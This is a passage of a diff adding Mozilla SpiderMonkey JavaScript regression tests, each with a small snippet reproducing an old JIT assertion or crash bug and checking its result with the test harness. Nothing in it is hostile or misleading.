--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465366.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465366;
+var summary = 'TM: JIT: error with multiplicative loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f()
+ {
+ var k = 1;
+ for (var n = 0; n < 2; n++) {
+ k = (k * 10);
+ }
+ return k;
+ }
+ f();
+ print(f());
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-466262.js b/js/src/tests/js1_5/Regress/regress-466262.js
new file mode 100644
index 000000000..9fe16b12b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-466262.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466262;
+var summary = 'Do not assert: f == f->root';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = 1;
+ for (var d = 0; d < 3; ++d) {
+ if (d == 2) {
+ e = "";
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-466747.js b/js/src/tests/js1_5/Regress/regress-466747.js
new file mode 100644
index 000000000..6fa133ac9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-466747.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466747;
+var summary = 'TM: Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ expect = actual = 'Test skipped: browser only';
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ gDelayTestDriverEnd = true;
+
+
+ function newScriptWithLoop(m)
+ {
+ var ns = document.createElement("script");
+ var nt = document.createTextNode("for (var q = 0; q < " + m + "; ++q) { }");
+ ns.appendChild(nt);
+ return ns;
+ }
+
+ function boom()
+ {
+ var div = document.createElement("div");
+ div.appendChild(newScriptWithLoop(7));
+ div.appendChild(newScriptWithLoop(1));
+ document.body.appendChild(div);
+
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+
+ window.addEventListener('load', boom, false);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-469044.js b/js/src/tests/js1_5/Regress/regress-469044.js
new file mode 100644
index 000000000..f41a07ecb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-469044.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469044;
+var summary = 'type unstable globals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '---000---000';
+ actual = '';
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ print(actual += "---");
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '00000000';
+ actual = '';
+
+ print("");
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ actual = '';
+ print("");
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ Math;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-470061.js b/js/src/tests/js1_5/Regress/regress-470061.js
new file mode 100644
index 000000000..dedb7cbaa
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-470061.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470061;
+var summary = 'TM: Do not assert: cx->fp->regs->pc == f->ip && f->root == f';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x (w, z) {
+ var h = 0;
+ var q = 0;
+ while (q < 300) {
+ while (w) {
+ }
+ ++q;
+ if (q % 4 == 1) {
+ h = Math.ceil(z);
+ }
+ }
+ }
+
+ x(false, 40);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-470187-01.js b/js/src/tests/js1_5/Regress/regress-470187-01.js
new file mode 100644
index 000000000..4abaff88b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-470187-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - /x/;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-470187-02.js b/js/src/tests/js1_5/Regress/regress-470187-02.js
new file mode 100644
index 000000000..c474c7690
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-470187-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - [];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-470758-01.js b/js/src/tests/js1_5/Regress/regress-470758-01.js
new file mode 100644
index 000000000..06e06ce29
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-470758-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Do not crash with eval upvars';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { var k; eval("for (var k in {});") })()
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-470758-02.js b/js/src/tests/js1_5/Regress/regress-470758-02.js
new file mode 100644
index 000000000..86eb4b440
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-470758-02.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Promote evald initializer into upvar';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 5;
+
+ (function(){var x;eval("for (x = 0; x < 5; x++);");print(actual = x);})();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-472533.js b/js/src/tests/js1_5/Regress/regress-472533.js
new file mode 100644
index 000000000..a772f0c35
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-472533.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472533;
+var summary = 'Do not crash with loop, replace, regexp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 4; ++j) ''.replace('', /x/);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-475645-01.js b/js/src/tests/js1_5/Regress/regress-475645-01.js
new file mode 100644
index 000000000..6a5ad9fc5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-475645-01.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ linkarr = new Array();
+ picarr = new Array();
+ textarr = new Array();
+ var f=161;
+ var t=27;
+ var pics = "";
+ var links = "";
+ var texts = "";
+ var s = f+t;
+ var d = "1";
+ picarr[2] = "2";
+ for(i=1;i<picarr.length;i++)
+ {
+ if(pics=="") pics = picarr[i];
+ else{
+ if(picarr[i].indexOf("jpg")==-1 && picarr[i].indexOf("JPG")==-1) picarr[i] = d;
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-475645-02.js b/js/src/tests/js1_5/Regress/regress-475645-02.js
new file mode 100644
index 000000000..6085e6a54
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-475645-02.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof window != 'undefined')
+ {
+ var q = (function () { });
+ window.addEventListener("load", q, false);
+ window.onerror = q;
+ arr = new Array();
+ pic = r = new Array;
+ h = t = 7;
+ var pics = "";
+ pic[2] = "";
+ for (i=1; i < pic.length; i++)
+ {
+ try
+ {
+ if(pics=="")
+ pics=pic[i];
+ else
+ (pic[i]-1 & pic[i].i("") == 1);
+ }
+ catch(ex)
+ {
+ }
+ arr[i]='';
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-476049.js b/js/src/tests/js1_5/Regress/regress-476049.js
new file mode 100644
index 000000000..e3a4d1020
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-476049.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476049;
+var summary = 'JSOP_DEFVAR enables gvar optimization for non-permanent properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// This test requires either two input files in the shell or two
+// script blocks in the browser.
+
+if (typeof window == 'undefined')
+{
+ print(expect = actual = 'Test skipped');
+}
+else
+{
+ document.write(
+ '<script type="text/javascript">' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' this["a"+i] = 0;' +
+ 'eval("var x");' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' delete this["a"+i];' +
+ '<\/script>'
+ );
+
+ document.write(
+ '<script type="text/javascript">' +
+ 'var x;' +
+ 'eval("delete x;");' +
+ 'x={};' +
+ '<\/script>'
+ );
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-476192.js b/js/src/tests/js1_5/Regress/regress-476192.js
new file mode 100644
index 000000000..4e2020560
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-476192.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476192;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var global;
+
+ (function(){
+ var ad = {present: ""};
+ var params = ['present', 'a', 'present', 'a', 'present', 'a', 'present'];
+ for (var j = 0; j < params.length; j++) {
+ global = ad[params[j]];
+ }
+ })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-477733.js b/js/src/tests/js1_5/Regress/regress-477733.js
new file mode 100644
index 000000000..fe97c62a6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-477733.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477733;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function g() {
+ [];
+ }
+
+ try {
+ d.d.d;
+ } catch(e) {
+ void (function(){});
+ }
+
+ for (var o in [1, 2, 3]) {
+ g();
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-477758.js b/js/src/tests/js1_5/Regress/regress-477758.js
new file mode 100644
index 000000000..67f6547d0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-477758.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477758;
+var summary = 'TM: RegExp source';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function map(array, func) {
+ var result = [];
+ for(var i=0;i<array.length;i++) {
+ result.push(func(array[i]));
+ }
+ return result;
+ }
+
+ function run() {
+ var patterns = [/foo/, /bar/];
+ function getSource(r) { return r.source; }
+ var patternStrings = map(patterns, getSource);
+ print(actual += [patterns[0].source, patternStrings[0]] + '');
+ }
+
+ expect = 'foo,foo';
+
+ for (var i = 0; i < 4; i++)
+ {
+ actual = '';
+ run();
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-478314.js b/js/src/tests/js1_5/Regress/regress-478314.js
new file mode 100644
index 000000000..3d17892da
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-478314.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478314;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var z = 0; z < 2; ++z) { switch(false & 1e-81) {} }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-479353.js b/js/src/tests/js1_5/Regress/regress-479353.js
new file mode 100644
index 000000000..6448df0ea
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-479353.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (new Function("({}), arguments;"))();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-480147.js b/js/src/tests/js1_5/Regress/regress-480147.js
new file mode 100644
index 000000000..a954c2c5d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-480147.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480147;
+var summary = 'TM: Do not assert: cx->bailExit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var w = [/a/, /b/, /c/, {}];
+ for (var i = 0; i < w.length; ++i)
+ "".replace(w[i], "");
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-480244.js b/js/src/tests/js1_5/Regress/regress-480244.js
new file mode 100644
index 000000000..59625b885
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-480244.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480244;
+var summary = 'Do not assert: isInt32(*p)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function outer() {
+ var v = 10.234;
+ for (var i = 0; i < 0xff; ++i) {
+ inner(v);
+ }
+ }
+
+ var g = 0;
+ var h = 0;
+
+ function inner() {
+ var v = 10;
+ for (var k = 0; k < 0xff; ++k) {
+ g++;
+ if (g & 0xff == 0xff)
+ h++;
+ }
+ return h;
+ }
+
+ outer();
+ print("g=" + g + " h=" + h);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-481436.js b/js/src/tests/js1_5/Regress/regress-481436.js
new file mode 100644
index 000000000..8520e2ffa
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-481436.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481436;
+var summary = 'TM: Do not crash @ FlushNativeStackFrame/JS_XDRNewMem';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function search(m, n) {
+ if (m.name == n)
+ return m;
+ for (var i = 0; i < m.items.length; i++)
+ if (m.items[i].type == 'M')
+ search(m.items[i], n);
+}
+
+function crash() {
+ for (var i = 0; i < 2; i++) {
+ var root = {name: 'root', type: 'M', items: [{}]};
+ search(root, 'x');
+ root.items.push({name: 'tim', type: 'M', items: []});
+ search(root, 'x');
+ search(root, 'x');
+ }
+}
+
+crash();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-482421.js b/js/src/tests/js1_5/Regress/regress-482421.js
new file mode 100644
index 000000000..740ba6538
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-482421.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482421;
+var summary = 'TM: Do not assert: vp >= StackBase(fp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f()
+{
+ var x;
+ var foo = "for (var z = 0; z < 2; ++z) { new Object(new String(this), x)}";
+ foo.replace(/\n/g, " ");
+ eval(foo);
+}
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-482783.js b/js/src/tests/js1_5/Regress/regress-482783.js
new file mode 100644
index 000000000..d1da5bfe9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-482783.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482783;
+var summary = 'TM: Do not crash @ js_ConcatStrings';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].concat();
+ for (var x = 0; x < 3; ++x) { (null + [,,]); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-483103.js b/js/src/tests/js1_5/Regress/regress-483103.js
new file mode 100644
index 000000000..00f9866aa
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-483103.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483103;
+var summary = 'TM: Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var t = new String("");
+ for (var j = 0; j < 3; ++j) {
+ var e = t["-1"];
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-501124.js b/js/src/tests/js1_5/Regress/regress-501124.js
new file mode 100644
index 000000000..6f961c66e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-501124.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 501124;
+var summary = 'Crypotographic login routines';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var hexVal = "00000000000000000000000000000000DEADBABE";
+ var nblk = (((hexVal.length/2) + 8) >> 6) + 1;
+
+ var blks = new Array(nblk * 16);
+
+ for(var i = 0; i < nblk * 16; i++)
+ blks[i] = 0;
+
+ for(i = 0; i < hexVal.length; i++) {
+ blks[i >> 3] |= ("0x"+hexVal.charAt(i)) << (28 - (i % 8) * 4);
+ }
+
+ expect = '0,0,0,0,-559039810,0,0,0,0,0,0,0,0,0,0,0';
+ actual = blks + '';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-503860.js b/js/src/tests/js1_5/Regress/regress-503860.js
new file mode 100644
index 000000000..d29bcfddd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-503860.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 503860;
